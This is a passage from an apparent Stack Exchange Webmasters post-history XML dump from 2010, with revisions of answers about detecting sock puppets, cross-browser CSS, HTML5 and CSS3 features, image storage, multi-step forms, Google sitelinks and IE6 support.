sandbox.&#xD;&#xA;&#xD;&#xA;If you have banned proxies and a user really produces real problems and is persistent you might have to think about going to the police. Defamation is a crime in a lot of countries. I hard from someone who moderates a local social network in Germany who got a court to forbid a certain user to visit the website because the user sexually harassed girls on the website.&#xD;&#xA;  [1]: http://www.citizendium.org&#xD;&#xA;  [2]: http://portal.acm.org/citation.cfm?id=988678" />
  <row Id="1755" PostHistoryTypeId="5" PostId="970" RevisionGUID="f97c80c4-7bd0-451a-8c59-594977f58bdf" CreationDate="2010-07-15T22:08:24.363" UserId="9301" Comment="added 120 characters in body" Text="In addition to artlung's list:&#xD;&#xA;&#xD;&#xA;Especially in Europe a lot of people are on dynamic IP addresses and you would have to ban the whole IP range of their provider to effectively ban them.&#xD;&#xA;&#xD;&#xA;There are a few signs that a user might share two accounts and are therefore sock puppets. Moderators can use them when they have the suspicion that someone registered but the process could also be automated. &#xD;&#xA;&#xD;&#xA;Does the IP belong to the same city?&#xD;&#xA;Does the header of the browser suggest the same browser and screen-size?&#xD;&#xA;Does the EMail address look like a real EMail address? What happens when you Google the part before the domain name? What happens when you search in facebook for an account of that email address?&#xD;&#xA;&#xD;&#xA;[Anti-aliasing on the web by Jasmine Novak et al][2] is a paper that suggests that their automated algorithm archives a 90% accuracy for identifying sock puppets based on their habits of word choice and text formatting.&#xD;&#xA;&#xD;&#xA;Having cookies that identify users can catch some users.&#xD;&#xA;&#xD;&#xA;Authentication through sending an SMS.&#xD;&#xA;&#xD;&#xA;Making a website invite only can help. If someone invites a person and that person get banned they can get a warning as well.&#xD;&#xA;&#xD;&#xA;In Germany the new password that will be introduced will have a feature to authenticate users to websites and therefore provide real sock puppet protection. Unfortunately that's no international standard and therefore not much use.&#xD;&#xA;&#xD;&#xA;[Citizendium][1] requires an official email address from a workplace or an university to register. That system works well at preventing sock puppets but it also seems to impede registration.&#xD;&#xA;Requiring a healthy facebook account might be one alternative that could also work to expand the kind of authentication that Citizendium uses.&#xD;&#xA;&#xD;&#xA;Wikipedia bans access from Tor and Anonymous proxies. If you don't have the resources to implement such a system yourself googling for an IP address can often tell you if the IP address is an open proxy and therefore landed in some spam sandbox.&#xD;&#xA;&#xD;&#xA;If you have banned proxies and a user really produces real problems and is persistent you might have to think about going to the police. Defamation is a crime in a lot of countries. I hard from someone who moderates a local social network in Germany who got a court to forbid a certain user to visit the website because the user sexually harassed girls on the website.&#xD;&#xA;  [1]: http://www.citizendium.org&#xD;&#xA;  [2]: http://portal.acm.org/citation.cfm?id=988678" />
  <row Id="1756" PostHistoryTypeId="2" PostId="971" RevisionGUID="ef29dcdd-038f-4226-81ae-7fd5bcc2b24e" CreationDate="2010-07-15T22:11:56.700" UserId="29" Text="Suppose I have a webpage that is cached by the server. What are the best ways to implement cross browser css?&#xD;&#xA;&#xD;&#xA;Rule: one approach for an answer. &#xD;&#xA;&#xD;&#xA;// Tags to add: browser-detecting cross-browser" />
  <row Id="1757" PostHistoryTypeId="1" PostId="971" RevisionGUID="ef29dcdd-038f-4226-81ae-7fd5bcc2b24e" CreationDate="2010-07-15T22:11:56.700" UserId="29" Text="What are the best ways to implement cross browser css?" />
  <row Id="1758" PostHistoryTypeId="3" PostId="971" RevisionGUID="ef29dcdd-038f-4226-81ae-7fd5bcc2b24e" CreationDate="2010-07-15T22:11:56.700" UserId="29" Text="&lt;css&gt;" />
  <row Id="1759" PostHistoryTypeId="5" PostId="970" RevisionGUID="236642e6-d130-4fd2-89ec-b25e696aa578" CreationDate="2010-07-15T22:13:34.497" UserId="9301" Comment="added 114 characters in body; added 342 characters in body" Text="In addition to artlung's list:&#xD;&#xA;&#xD;&#xA;Banning IPs directly has the problem that it's easy to work around and that you lose the information from the IP address. Better let them register and after they post nuke their account so that they don't really know that you caught them over the IP or set them on silent mode that they think the can post but other won't see their posts.&#xD;&#xA;&#xD;&#xA;Especially in Europe a lot of people are on dynamic IP addresses and you would have to ban the whole IP range of their provider to effectively ban them.&#xD;&#xA;&#xD;&#xA;There are a few signs that a user might share two accounts and are therefore sock puppets. Moderators can use them when they have the suspicion that someone registered but the process could also be automated. &#xD;&#xA;&#xD;&#xA;Does the IP belong to the same city?&#xD;&#xA;Does the header of the browser suggest the same browser and screen-size?&#xD;&#xA;Does the EMail address look like a real EMail address? What happens when you Google the part before the domain name? What happens when you search in facebook for an account of that email address?&#xD;&#xA;&#xD;&#xA;[Anti-aliasing on the web by Jasmine Novak et al][1] is a paper that suggests that their automated algorithm archives a 90% accuracy for identifying sock puppets based on their habits of word choice and text formatting.&#xD;&#xA;&#xD;&#xA;Having cookies that identify users can catch some users.&#xD;&#xA;&#xD;&#xA;Authentication through sending an SMS.&#xD;&#xA;&#xD;&#xA;Making a website invite only can help. If someone invites a person and that person get banned they can get a warning as well. [Demonoid][2] would be an example of a large website that uses the principle.&#xD;&#xA;&#xD;&#xA;In Germany the new password that will be introduced will have a feature to authenticate users to websites and therefore provide real sock puppet protection. Unfortunately that's no international standard and therefore not much use.&#xD;&#xA;&#xD;&#xA;[Citizendium][3] requires an official email address from a workplace or an university to register. That system works well at preventing sock puppets but it also seems to impede registration.&#xD;&#xA;Requiring a healthy facebook account might be one alternative that could also work to expand the kind of authentication that Citizendium uses.&#xD;&#xA;&#xD;&#xA;Wikipedia bans access from Tor and Anonymous proxies. If you don't have the resources to implement such a system yourself googling for an IP address can often tell you if the IP address is an open proxy and therefore landed in some spam sandbox.&#xD;&#xA;&#xD;&#xA;If you have banned proxies and a user really produces real problems and is persistent you might have to think about going to the police. Defamation is a crime in a lot of countries. I hard from someone who moderates a local social network in Germany who got a court to forbid a certain user to visit the website because the user sexually harassed girls on the website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://portal.acm.org/citation.cfm?id=988678&#xD;&#xA;  [2]: http://www.demonoid.com&#xD;&#xA;  [3]: http://www.citizendium.org" />
  <row Id="1760" PostHistoryTypeId="2" PostId="972" RevisionGUID="26aee344-4fdf-41fe-bc97-110da357d5ad" CreationDate="2010-07-15T22:15:12.220" UserDisplayName="Thomas Powell" Text="If it is rendered into the bitmap as pixels then this is the same question as would a GIF or JPEG with text in it (w/o an alt attribute) be recognized.  In other words is Google image search doing OCR on the images...the answer is probably not.&#xD;&#xA;&#xD;&#xA;The fallback text as in &#xD;&#xA;&#xD;&#xA;&amp;lt;canvas&gt;&#xD;&#xA;  Some alternate text here&#xD;&#xA;&amp;lt;/canvas&gt;&#xD;&#xA;&#xD;&#xA;would likely get picked up.&#xD;&#xA;&#xD;&#xA;Also in many cases when people are using canvas they are using &lt;div&gt; overlays since putting text in a canvas drawing is a bit dicey particularly if you want fine grain control.  Instead folks end up opting to put it in HTML/CSS and then overlay it.  This is how many charts do their legends/labels actually." />
  <row Id="1761" PostHistoryTypeId="2" PostId="973" RevisionGUID="f0e1f149-b5ac-4676-ba2f-90fa633461b4" CreationDate="2010-07-15T22:27:15.923" UserId="407" Text="Another downside of underscores is they will be invisible in some browsers when the entire URL is rendered as a link with an underline, which may be confusing if the user attempts to use the URL without copying and pasting (e.g. writing it down or reading it out)." />
  <row Id="1762" PostHistoryTypeId="2" PostId="974" RevisionGUID="ccf34064-1acc-489f-836b-92c366daf7b6" CreationDate="2010-07-15T22:27:26.890" UserId="307" Text="HTML5 is *huge*, but also **awesome**.&#xD;&#xA;&#xD;&#xA;In my view, it is mostly about *interoperability*. The spec goes and specifies even edge cases to try and make sure that **all browsers display read the markup the same way**.&#xD;&#xA;&#xD;&#xA;In second place, HTML5 has video and audio, which do exactly what the name says it does. If you want to include video or audio, HTML5 should reduce your plugin needs.&#xD;&#xA;&#xD;&#xA;In third place, HTML5 includes lots of accessibility and semantic help. For instance, elements like `&lt;section&gt;` and `&lt;article&gt;` help machines figure out what content is supposed to be. New input types like `&lt;input type=email&gt;` can also be useful for the same reasons, although the new input types include custom UIs which make them useful even for &quot;common&quot; human readers.&#xD;&#xA;&#xD;&#xA;Note that the new Forms features are much more than new input types. It also includes support for placeholder text and several other attributes.&#xD;&#xA;&#xD;&#xA;HTML5 includes `&lt;canvas&gt;`, which allows drawing 2D(and, with WebGL, 3D) shapes like charts or even render games.&#xD;&#xA;&#xD;&#xA;Old behavior is now standardized, such as Internet Explorer's ancient `contentEditable`.&#xD;&#xA;&#xD;&#xA;The DOCTYPE is finally decent! You can now actually memorize it! `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Specifying encoding is also easier, with `&lt;meta encoding=utf-8&gt;`.&#xD;&#xA;&#xD;&#xA;If you want to send data to the client and associate it with elements, you can now do it with custom attributes. For instance, `&lt;div data-status=open&gt;Open&lt;/div&gt;` is now finally allowed.&#xD;&#xA;&#xD;&#xA;You can now include SVG and MathML in HTML documents. Previously, you could only do it with XHTML documents.&#xD;&#xA;&#xD;&#xA;Among the multiple new functions and fields HTML5 defines, one of the most impressive is classList, which enables you to manipulate the class attribute more easily. Instead of having to getAttribute/setAttribute and use complex hacks to figure out which classes an element has and remove a specific class from that element, classList makes those hard situations very simple.&#xD;&#xA;&#xD;&#xA;There are also multiple related specs, such as Web Workers, Web Sockets and IndexedDB, which are not really part of HTML5 but everybody talks about them as if they were. They are very useful for taking advantage of multi-core computers, communicating with servers and storing data locally.&#xD;&#xA;&#xD;&#xA;As for CSS3, it includes support for *animations*, *transitions* and *rounded borders*.&#xD;&#xA;&#xD;&#xA;Also new in CSS3 are the new selectors, which make it simpler to match specific elements on a page(such as only the odd or even rows in a table).&#xD;&#xA;&#xD;&#xA;Opacity, new units, marquee and ruby are also part of CSS3.&#xD;&#xA;&#xD;&#xA;I think that pretty much covers all important parts." />
  <row Id="1763" PostHistoryTypeId="2" PostId="975" RevisionGUID="741b8795-c1e3-408f-b899-3114ec7f7bbd" CreationDate="2010-07-15T22:27:44.300" UserId="409" Text="We don't have millions of images, but do have hundreds of thousands, ad we use the hybrid approach--mysql for metadata, images stored on local disk for backup, and pushed to Amazon s3 where they are served to users.  We've had no trouble with Amazon and availability.  Moving to cloudfront is in our plans, just need to find the time.&#xD;&#xA;&#xD;&#xA;This discussion may be helpful to you in your decision:&#xD;&#xA;&#xD;&#xA;ask.metafilter.com/59635/Millions-of-images (I can't post the links because of spam prevention)&#xD;&#xA;&#xD;&#xA;I would go with meta data in SQL server and files on the filesystem (or s3 or cloudfront).  But the best answer depends on some other usage patterns:&#xD;&#xA;&#xD;&#xA;* do the images change often&#xD;&#xA;* can you serve the images directly from the filesystem (that is, img src= ... ) or do you need them to be access controlled.  If the latter, then a database solution is best&#xD;&#xA;* are you serving a small number of images most of the time (the most recent 10%) or is the distribution relatively widespread.&#xD;&#xA;&#xD;&#xA;Backups for millions of images are going to be complicated no matter how you arrange them--it's just a lot of data.  I'd want to find a good case study on backing up blobs in SQL server before I committed to that solution.  (Here's an article that might be useful: www.databasejournal.com/features/mssql/article.php/3738276/Storing-Images-and-BLOB-files-in-SQL-Server-Part-4.htm )&#xD;&#xA;" />
  <row Id="1764" PostHistoryTypeId="2" PostId="976" RevisionGUID="590d8de6-b790-4df1-8598-4778d31569b7" CreationDate="2010-07-15T23:01:40.403" UserId="221" Text="It depends on why you are concerned about this.&#xD;&#xA;&#xD;&#xA;If your concern is about having incomplete data in you DB I'd suggest just keeping the entered data in the user session until the user completes the second form and then update the DB and send the e-mail. If the user doesn't bother to fill out the second form, then the entire exchange will be forgotten once his session times out.&#xD;&#xA;&#xD;&#xA;If your concern is about users failing to realize that they need to complete the second form you should *strongly* consider redesigning the forms (possibly merging them). This is a user interface issue.&#xD;&#xA;&#xD;&#xA;Having a flag (as discussed in question) could help identify if this happens, but it wont tell you if it is happening through user error or simply because the user lost interest (unless you have a captive audience of some sort).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;An alternative, if you can hook into when a user's session expires (this is fairly simple with Java sites, I'm not familiar with this feature in other server side technologies) you could check for incomplete transactions at that point." />
  <row Id="1765" PostHistoryTypeId="2" PostId="977" RevisionGUID="9975c86c-fff4-4e77-a0eb-1685c3baab22" CreationDate="2010-07-15T23:04:23.457" UserId="138" Text="If you decide to go with storing them in the file system, you might want to read up on this ServerFault question for some do's and don't's: [Storing a million images in the filesystem][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/95444/storing-a-million-images-in-the-filesystem" />
  <row Id="1766" PostHistoryTypeId="2" PostId="978" RevisionGUID="1d3ea273-d655-4c42-b68a-f9799b04f774" CreationDate="2010-07-15T23:14:32.490" UserId="355" Text="How do I get Google to display the navigation for my site like it does for others?&#xD;&#xA;&#xD;&#xA;For example, take the search results for **'Microsoft'**:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://files.quickmediasolutions.com/google_example.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;How do I get my site to display navigation like that? It's already the first entry for certain keywords." />
  <row Id="1767" PostHistoryTypeId="1" PostId="978" RevisionGUID="1d3ea273-d655-4c42-b68a-f9799b04f774" CreationDate="2010-07-15T23:14:32.490" UserId="355" Text="How to get Google to display navigation?" />
  <row Id="1768" PostHistoryTypeId="3" PostId="978" RevisionGUID="1d3ea273-d655-4c42-b68a-f9799b04f774" CreationDate="2010-07-15T23:14:32.490" UserId="355" Text="&lt;google&gt;" />
  <row Id="1769" PostHistoryTypeId="2" PostId="979" RevisionGUID="dd5d4f36-bc49-49dc-bcea-7a691e59751b" CreationDate="2010-07-15T23:21:12.900" UserId="221" Text="Google seems to use an automated process for determining if such sitelinks are useful for any given site.&#xD;&#xA;&#xD;&#xA;&gt; We only show sitelinks for results when we think they'll be useful to the user. If the structure of your site doesn't allow our algorithms to find good sitelinks, or we don't think that the sitelinks for your site are relevant for the user's query, we won't show them.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=47334&#xD;&#xA;" />
  <row Id="1770" PostHistoryTypeId="2" PostId="980" RevisionGUID="05920a4b-8573-4f90-a2d4-799a4ee93551" CreationDate="2010-07-15T23:22:19.840" UserId="316" Text="If HTML5 allows you to do everything you need, then I would recommend using it.  However, if you need GPU acceleration, or DRM, or some other feature or functionality that does not exist in browsers' current implementation of HTML 5 then look at Flash or Silverlight." />
  <row Id="1771" PostHistoryTypeId="5" PostId="931" RevisionGUID="a828503a-3eba-443a-804a-4eb997095c16" CreationDate="2010-07-15T23:28:08.630" UserId="334" Comment="added 469 characters in body; added 14 characters in body" Text="Say you have a submission process that requires two forms. The submission of the 2nd form triggers an email. What do you do if the second form isn't submitted? Say the user forgets or closes the window by accident.&#xD;&#xA;&#xD;&#xA;My only solution was to update the DB with a flag from the submission of the 1st form that identifies an email has not been sent. Submission of the 2nd form will trigger an event to send an email and update the DB with a flag that identifies an email has been sent. A cron job will run periodically to check for any flags for unsent emails, gather the information, and send an email.&#xD;&#xA;&#xD;&#xA;Is this the best way of dealing with the issue?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;**Edit: Clarity**&#xD;&#xA;&#xD;&#xA;Form 1 User submits general data&#xD;&#xA;&#xD;&#xA;Message 1 User presented with a choice. User needs to choose to &quot;pass&quot; or &quot;accept&quot;. If the user submits the &quot;accept&quot; form (Form 2), an email is sent. If the user submits the &quot;pass&quot; form (Form 2), they are presented with another message with another choice (Form 3). If the user does nothing, the last choice provided is their default choice, but at this point an email still needs to sent.&#xD;&#xA;&#xD;&#xA;I hope that's more clear.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1772" PostHistoryTypeId="5" PostId="979" RevisionGUID="6beb79c1-15a7-421e-87b1-4a8ccdb1978e" CreationDate="2010-07-15T23:29:01.513" UserId="221" Comment="added 318 characters in body" Text="Google seems to use an automated process for determining if such sitelinks are useful for any given site.&#xD;&#xA;&#xD;&#xA;&gt; We only show sitelinks for results when we think they'll be useful to the user. If the structure of your site doesn't allow our algorithms to find good sitelinks, or we don't think that the sitelinks for your site are relevant for the user's query, we won't show them.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=47334&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There are several SEO articles about this topic (like [this one][1]). Ultimately, it is guessing game as Google does not reveal its algorithms. It seems though to favor 'established' sites with with these sitelinks. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seopedia.org/internet-marketing-and-seo/google-sitelinks-the-ultimate-faq/" />
  <row Id="1773" PostHistoryTypeId="2" PostId="981" RevisionGUID="a1a8c3df-49ae-4f9a-b3d8-948f4d0d4ca0" CreationDate="2010-07-15T23:29:48.720" UserId="110" Text="You can use Flash / Silverlight, but I feel you provide some alternative means to the content if at all possible.&#xD;&#xA;&#xD;&#xA;Think of the embedded plug-ins as just another layer on your site.  It should work as just plain text and GET/POST actions.  Improve the look and feel with CSS.  Improve the responsiveness with JavaScript.  Finally add whizbang with Flash or Silverlight.&#xD;&#xA;&#xD;&#xA;So long as your layers don't wreck the layers underneath them, add it all on and serve your users as best your budget allows." />
  <row Id="1774" PostHistoryTypeId="2" PostId="982" RevisionGUID="4576d98d-4f22-4369-ba7a-b923a94f586c" CreationDate="2010-07-15T23:36:21.267" UserId="218" Text="AS you describe, you should have a `state` of the process in your database to identify which steps have been completed..&#xD;&#xA;&#xD;&#xA;Now, the next step depends on the technology used..&#xD;&#xA;&#xD;&#xA;For ASP / ASP.NET there is an event triggered (*server-side*) when the session expires, and catching it you can perform the clean-up/auto-completion of the procedure..&#xD;&#xA;&#xD;&#xA;Not sure if this is possible in PHP environments though .. i suppose you could store a timestamp once the 1st step is completed and a cron job will periodically run **but first check against the timestamp** to see if a set amount of time has passed before auto-completing .." />
  <row Id="1775" PostHistoryTypeId="6" PostId="971" RevisionGUID="0ce7294a-478f-444f-99c1-a63e0d47724d" CreationDate="2010-07-15T23:36:47.257" UserId="180" Comment="edited tags" Text="&lt;css&gt;&lt;browser-detecting&gt;&lt;cross-browser&gt;" />
  <row Id="1776" PostHistoryTypeId="2" PostId="983" RevisionGUID="c205cd43-3b06-4c53-a57f-50d9fb3071a4" CreationDate="2010-07-15T23:40:28.593" UserId="180" Text="[CSS3 PIE][1] looks pretty promising as a CSS3 compatibility layer.  Of course, there are other cross-browser concerns for previous CSS versions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css3pie.com/" />
  <row Id="1777" PostHistoryTypeId="2" PostId="984" RevisionGUID="2920e8d7-87a6-416c-bbef-af02786271ec" CreationDate="2010-07-15T23:41:27.373" UserId="316" Text="Specifically from Godaddy -&gt; Another Registrar you can follow their help guide: http://help.godaddy.com/article/3560" />
  <row Id="1778" PostHistoryTypeId="5" PostId="974" RevisionGUID="d35c28bd-73b5-4974-b428-d80d47b6ea3f" CreationDate="2010-07-15T23:45:36.540" UserId="307" Comment="corrected small error" Text="HTML5 is *huge*, but also **awesome**.&#xD;&#xA;&#xD;&#xA;In my view, it is mostly about *interoperability*. The spec goes and specifies even edge cases to try and make sure that **all browsers read the markup the same way**.&#xD;&#xA;&#xD;&#xA;In second place, HTML5 has video and audio, which do exactly what the name says it does. If you want to include video or audio, HTML5 should reduce your plugin needs.&#xD;&#xA;&#xD;&#xA;In third place, HTML5 includes lots of accessibility and semantic help. For instance, elements like `&lt;section&gt;` and `&lt;article&gt;` help machines figure out what content is supposed to be. New input types like `&lt;input type=email&gt;` can also be useful for the same reasons, although the new input types include custom UIs which make them useful even for &quot;common&quot; human readers.&#xD;&#xA;&#xD;&#xA;Note that the new Forms features are much more than new input types. It also includes support for placeholder text and several other attributes.&#xD;&#xA;&#xD;&#xA;HTML5 includes `&lt;canvas&gt;`, which allows drawing 2D(and, with WebGL, 3D) shapes like charts or even render games.&#xD;&#xA;&#xD;&#xA;Old behavior is now standardized, such as Internet Explorer's ancient `contentEditable`.&#xD;&#xA;&#xD;&#xA;The DOCTYPE is finally decent! You can now actually memorize it! `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Specifying encoding is also easier, with `&lt;meta encoding=utf-8&gt;`.&#xD;&#xA;&#xD;&#xA;If you want to send data to the client and associate it with elements, you can now do it with custom attributes. For instance, `&lt;div data-status=open&gt;Open&lt;/div&gt;` is now finally allowed.&#xD;&#xA;&#xD;&#xA;You can now include SVG and MathML in HTML documents. Previously, you could only do it with XHTML documents.&#xD;&#xA;&#xD;&#xA;Among the multiple new functions and fields HTML5 defines, one of the most impressive is classList, which enables you to manipulate the class attribute more easily. Instead of having to getAttribute/setAttribute and use complex hacks to figure out which classes an element has and remove a specific class from that element, classList makes those hard situations very simple.&#xD;&#xA;&#xD;&#xA;There are also multiple related specs, such as Web Workers, Web Sockets and IndexedDB, which are not really part of HTML5 but everybody talks about them as if they were. They are very useful for taking advantage of multi-core computers, communicating with servers and storing data locally.&#xD;&#xA;&#xD;&#xA;As for CSS3, it includes support for *animations*, *transitions* and *rounded borders*.&#xD;&#xA;&#xD;&#xA;Also new in CSS3 are the new selectors, which make it simpler to match specific elements on a page(such as only the odd or even rows in a table).&#xD;&#xA;&#xD;&#xA;Opacity, new units, marquee and ruby are also part of CSS3.&#xD;&#xA;&#xD;&#xA;I think that pretty much covers all important parts." />
  <row Id="1779" PostHistoryTypeId="5" PostId="444" RevisionGUID="da0d45b8-b715-4a28-b2e4-19cf7380a555" CreationDate="2010-07-15T23:51:22.303" UserId="179" Comment="Added links to resources and explinations covering IE bugs and missing features." Text="If you're working on a contract or freelance basis, this is entirely up to you. I use a version of the &lt;a href=&quot;http://mondaybynoon.com/internet-explorer-contract-addendum/&quot;&gt;Internet Explorer 6 Contract Adendum&lt;/a&gt; by Jonathan Christopher of Monday By Noon.&#xD;&#xA;&#xD;&#xA;As described by the Author:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;This contract addendum acts as a notification to clients regarding your (limited) support of Internet Explorer. It is released under a Creative Commons Attribution-Share Alike 3.0 United States License. This document is currently at version 1.0 and will more than likely be updated quite often until version 2.0 is reached.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I have not seen it updated since I found it, but that's really not important since it was the concept and the basic language that I used before tweaking it. Essentially in the form presented on the site it says that you will create a version of the site for IE6 that presents the info that needs presenting, though not necessarily using the approved design. Also that you reserve the right to feed them motivation to upgrade their browser.&#xD;&#xA;&#xD;&#xA;Depending on the client and the project, you can just have it say that IE6 will not be supported, that you will deliver support for IE6 as a second-phase deliverable, at extra cost, or offer complete support.&#xD;&#xA;&#xD;&#xA;If you choose to support IE6 you can mitigate some of the issues with lack of feature support using the following resources:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/html5shiv/&quot;&gt;html5shiv:&lt;/a&gt;&lt;/strong&gt; a JavaScript shiv for IE to recognize and style the HTML5 elements.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://css3pie.com/&quot;&gt;CSS3 Pie:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that makes Internet Explorer 6-8 capable of rendering several of the most useful CSS3 decoration features. When applied to an element, it allows IE to recognize and display &lt;code&gt;border-radius&lt;/code&gt;, &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;border-image&lt;/code&gt;, multiple background images, and &lt;code&gt;linear-gradient&lt;/code&gt; as background image.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.modernizr.com/&quot;&gt;Modernizr:&lt;/a&gt;&lt;/strong&gt; a Javascript library that uses feature detection to test the current browser against upcoming CSS3/HTML5 features, adding classes to the &amp;lt;html&amp;gt; element for those which are supported. Also creates a self-titled global JavaScript object which contains a boolean property for each feature, &lt;code&gt;true&lt;/code&gt; if supported and &lt;code&gt;false&lt;/code&gt; if not. Adds support for styling and printing HTML5 elements so you can use elements such as &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.keithclark.co.uk/labs/ie-css3/&quot;&gt;ie-css3.js:&lt;/a&gt;&lt;/strong&gt; allows Internet Explorer to identify CSS3 pseudo-class selectors and render any style rules defined with them. Supports different CSS3 selectors based on which JavaScript library your site uses.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.dillerdesign.com/experiment/DD_belatedPNG/&quot;&gt;DD_belatedPNG:&lt;/a&gt;&lt;/strong&gt; a Javascript library that adds PNG image support to IE6. You can use PNGs as the &lt;code&gt;src&lt;/code&gt; of an &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; element or as a &lt;code&gt;background-image&lt;/code&gt; property in CSS. Unlike &lt;code&gt;AlphaImageLoader&lt;/code&gt;, &lt;code&gt;background-position&lt;/code&gt; and &lt;code&gt;background-repeat&lt;/code&gt; work as intended, and elements will respond to the &lt;code&gt;a:hover&lt;/code&gt; pseudo-class.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.twinhelix.com/css/iepngfix/&quot;&gt;TwinHelix IE PNG Fix:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that adds PNG support with alpha opacity to IE 6. Full CSS background positioning and repeat are supporting (including CSS sprites) with additional (included) JavaScript.&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.xs4all.nl/~peterned/csshover.html&quot;&gt;Whatever:hover:&lt;/a&gt;&lt;/strong&gt; an IE attached behavior (an &lt;code&gt;.htc&lt;/code&gt; file) that automatically patches :hover, :active and :focus for IE6, IE7 and IE8 quirks, letting you use them like you would in any other browser. Includes AJAX support, meaning that any html that gets inserted into the document via javascript will also trigger &lt;code&gt;:hover&lt;/code&gt;, &lt;code&gt;:active&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; styles in IE.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Interesting to note that DD_belatedPNG solves both issues addressed by Whatever:hover and TwinHelix's IE PNG Fix with pure JavaScript, while Whatever:hover and TwinHelix's IE PNG Fix use a combination of JavaScript and IE attached behaviors (&lt;code&gt;.htc files&lt;/code&gt;).&#xD;&#xA;&#xD;&#xA;And a few resources identifying IE rendering issues you're most likely to encounter, along with their most common fixes:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;	&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/9-most-common-ie-bugs-and-how-to-fix-them/&quot;&gt;9 Most Common IE Bugs and How to Fix Them&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;a href=&quot;http://allcreatives.net/2009/12/05/smoother-font-face-embedding-in-ie-7-8/&quot;&gt;Smoother @font-face embedding in IE 7 &amp; 8&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;	&lt;li&gt;&lt;a href=&quot;http://www.virtuosimedia.com/tutorials/ultimate-ie6-cheatsheet-how-to-fix-25-internet-explorer-6-bugs&quot;&gt;Ultimate IE6 Cheatsheet: How To Fix 25+ Internet Explorer 6 Bugs&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;" />
  <row Id="1780" PostHistoryTypeId="2" PostId="985" RevisionGUID="d099f035-d1ef-4f25-bcb3-051b1e1e223a" CreationDate="2010-07-15T23:58:09.620" UserId="180" Text="Here's some options for Google:&#xD;&#xA;&#xD;&#xA;Google Friend Connect doesn't have a huge amount of uptake, but does have a page widget: http://www.google.com/friendconnect/&#xD;&#xA;&#xD;&#xA;And YouTube has a Video Bar:  http://www.google.com/uds/solutions/wizards/videobar.html&#xD;&#xA;&#xD;&#xA;And Buzz has an API that you can use through pure JavaScript:  http://code.google.com/apis/buzz/buttons_and_gadgets.html&#xD;&#xA;&#xD;&#xA;But... just because you can doesn't mean you should.  Think about this in terms of value to your site's visitors.  Don't do it just to be cool." />
  <row Id="1781" PostHistoryTypeId="2" PostId="986" RevisionGUID="1abe43d9-c422-4dc1-abca-5205122792cd" CreationDate="2010-07-16T00:03:45.147" UserId="233" Text="You can use [conditional comments][1] to fix issues with Internet Explorer. Aside from that, you shouldn't ever need to target Firefox/Chrome/Opera separately from each other, they all support the standards.&#xD;&#xA;&#xD;&#xA;Caching shouldn't enter into it; you should be serving the same code for all browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/condcom.html" />
  <row Id="1782" PostHistoryTypeId="5" PostId="983" RevisionGUID="30047215-60f9-4ef6-906b-0b90e719dcfa" CreationDate="2010-07-16T00:06:29.277" UserId="180" Comment="added link" Text="[CSS3 PIE][1] looks pretty promising as a CSS3 compatibility layer.  Of course, there are other cross-browser concerns for previous CSS versions.&#xD;&#xA;&#xD;&#xA;Related question regarding IE6, lots of useful info: http://webmasters.stackexchange.com/questions/134/should-i-bother-supporting-ie6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css3pie.com/" />
  <row Id="1783" PostHistoryTypeId="2" PostId="987" RevisionGUID="40a42b33-372f-48a7-aece-2444f0292e64" CreationDate="2010-07-16T00:09:18.443" UserId="180" Text="Google Webmaster Central has a great blog post discussing this topic:  http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;" />
